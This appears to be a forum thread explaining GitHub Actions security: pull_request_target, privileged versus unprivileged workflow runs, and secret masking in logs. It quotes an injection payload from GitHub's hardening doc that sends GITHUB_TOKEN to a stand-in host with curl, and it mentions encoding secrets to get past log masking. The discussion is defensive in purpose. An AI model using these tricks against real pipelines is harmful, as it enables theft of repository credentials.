I don't know why it hasn't occurred to me as a problem before, but branches/PRs can also modify the workflow, and their build runs the new modified workflow... I must be missing something, because that seems to make it way worse, forget symlinks and project-specific vulns, just print the env? Has modifying the workflow on a 'PR branch' only worked for me because I've been the repo owner perhaps?
Edit to add: I think what I'm missing (haven't fully understood yet, just thought should share) is the importance here of the 'pull_request_target' event type used. The docs carry a warning:
> Warning: The pull_request_target event is granted a read/write repository token and can access secrets, even when it is triggered from a fork. Although the workflow runs in the context of the base of the pull request, you should make sure that you do not check out, build, or run untrusted code from the pull request with this event. Additionally, any caches share the same scope as the base branch, and to help prevent cache poisoning, you should not save the cache if there is a possibility that the cache contents were altered. For more information, see "Keeping your GitHub Actions and workflows secure: Preventing pwn requests" on the GitHub Security Lab website.
There's an important distinction between "privileged" and "unprivileged" Workflow Runs, and the context within which a Workflow is executed.
Let's imagine there's a repository containing a Workflow (on the branch) that listens to the `push` event and then outputs the value of `secrets.API_KEY`:
* A collaborator pushes: Workflow Run is privileged -> the value of `secrets.API_KEY` is output
* A non-collaborator pushes: Workflow Run is unprivileged -> no value is output
The `pull_request_target` event type comes into play when you need a privileged Workflow Run to execute when a non-collaborator performs an action. For security, `pull_request_target` events are only triggered against a Workflow on the primary repository branch, a non-collaborator cannot sneak a `pull_request_target` into their Pull Request. Essentially, `pull_request_target` in a Workflow on your main branch is "listening" for Pull Requests.
There is no risk using `pull_request_target` if you do not execute any code from the Pull Request within a privileged Workflow. If you execute code from the Pull Request within a privileged Workflow, then you're definitely exposed to a lot of serious problems.
* An unprivileged Workflow Run should... build artifacts, execute tests, upload artifacts to the Workflow Run
* A privileged Workflow Run should... download artifacts from the unprivileged Workflow Run, publish artifacts to storage
> Has modifying the workflow on a 'PR branch' only worked for me because I've been the repo owner perhaps?
Every time you execute a Workflow as a repository owner, it is privileged and can do anything. For example, your Pull Request Workflow Run can access secrets (so you might think that _all_ Pull Requests can access secrets) but in reality, a Pull Request from a non-collaborator cannot.
Does that help clarify? The security model of GitHub Actions has changed over the last year, so it's not completely intuitive if your frame of reference is from before the changes. I highly recommend the GitHub Security blog articles, they're very illuminating.
Travis followed this basic model years ago also, though I don't know if they were explicit about the privileged/unprivileged; it was more just no secrets added to the environment for PRs from unknown forks.
> forget symlinks and project-specific vulns, just print the env?
GitHub masks anything that is a secret (or the github token) when it shows up in the log. You'll see stars ** instead of the actual secret.
However, this is trivially worked-around - apply a caesar cipher to it or simply add a space between each character. It would also be super simple to ship the token to a remote server with curl, as GitHub notes in its security hardening document[0]:
> they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example:
a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#.
Sure, it was just a succinct way to make the point, since as you say and others are commenting on, it's trivially worked around (in any CI system) if you're trying - it's only really supposed to stop accidental leaks.
I can't find anything on configuring it though, that only mentions for first-time contributors as you say. I have a 'contributor' badge for pretty minor contributions to all sorts of projects, doesn't necessarily mean they should trust me any more than a first-time contributor! (I can be trusted! I just don't think my contribution to some of them is too much of a barrier for a malicious actor...)
Edit to add: I think what I'm missing (haven't fully understood yet, just thought should share) is the importance here of the 'pull_request_target' event type used. The docs carry a warning:
> Warning: The pull_request_target event is granted a read/write repository token and can access secrets, even when it is triggered from a fork. Although the workflow runs in the context of the base of the pull request, you should make sure that you do not check out, build, or run untrusted code from the pull request with this event. Additionally, any caches share the same scope as the base branch, and to help prevent cache poisoning, you should not save the cache if there is a possibility that the cache contents were altered. For more information, see "Keeping your GitHub Actions and workflows secure: Preventing pwn requests" on the GitHub Security Lab website.
https://docs.github.com/en/actions/reference/events-that-tri...